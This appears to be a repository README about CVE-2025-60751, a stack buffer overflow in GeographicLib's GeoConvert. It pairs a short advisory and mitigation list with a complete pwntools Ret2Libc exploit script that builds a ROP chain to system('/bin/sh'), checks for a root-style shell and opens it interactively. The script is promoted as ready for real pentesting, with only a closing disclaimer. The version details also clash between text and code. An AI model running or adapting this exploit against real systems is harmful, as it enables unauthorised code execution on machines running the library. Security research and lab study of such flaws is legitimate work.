
Technical analysis and professional exploit for CVE-2025-60751, a stack-based buffer overflow in GeographicLib. Includes a pwntools-based Ret2Libc exploit with dynamic ROP gadget discovery, GDB integration, and post-exploit verification for educational penetration testing.
📌 This repository contains the analysis and technical documentation of vulnerability CVE-2025-60751, a stack-based buffer overflow flaw located in the C++ library GeographicLib.
The vulnerability is located in the function DMS::InternalDecode within the GeoConvert component.
The flaw occurs when the library attempts to process malformed or excessively long coordinate strings in DMS (Degrees, Minutes, Seconds) format, causing a write beyond the bounds of the allocated stack buffer.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HA remote attacker can send a specially crafted coordinate string to:
GeographicLib to convert coordinates.⚠️ Technical note: Although the current vector focuses on Availability (
A:H), in specific environments without modern memory protections (such as Stack Canaries, NX bit or ASLR enabled), this flaw could potentially escalate to arbitrary code execution.
| Product | Vulnerable version | Detected distributions |
|---|---|---|
GeographicLib | 2.5 | Packages in Debian LTS, Ubuntu, and other Linux repositories that include this version |
✅ Update: It is strongly recommended to update to the latest available version of GeographicLib, where the length validation in InternalDecode has been fixed.
✅ Input Validation: If updating is not possible, implement a sanitization layer that limits the length of strings sent to DMS::Decode (e.g., max 32 characters).
✅ Secure Compilation: Ensure you compile the library with stack protection flags:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattThis exploit uses pwntools to perform a Ret2Libc attack exploiting the buffer overflow.
Unlike basic versions, this implementation is robust, dynamic, and verifiable, ready for real pentesting environments and labs.
| Feature | Benefit |
|---|---|
ROP(elf) dynamic | Does not depend on hardcoded gadgets: it finds them automatically in the binary. |
Built-in support for GDB | Run python exploit.py GDB → opens an automatic debugging session. |
| Post-exploit verification | Sends id and confirms shell before giving interactive control. |
RET for stack alignment | Prevents crashes in system() due to incorrect alignment (critical on x64). |
Payload structured as list + b"".join() | Clean, readable, easy to modify and extend. |
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ Disclaimer
This repository is for purely informational and educational purposes for cybersecurity professionals.
The use of this information for illicit purposes is the sole responsibility of the user.
❗ Use the code with caution: only in authorized, isolated environments and with explicit permission.
🔐 Security is not a feature — it is a discipline.
📬 Report findings: [email protected]
📦 Official repository: https://github.com/geographiclib/geographiclib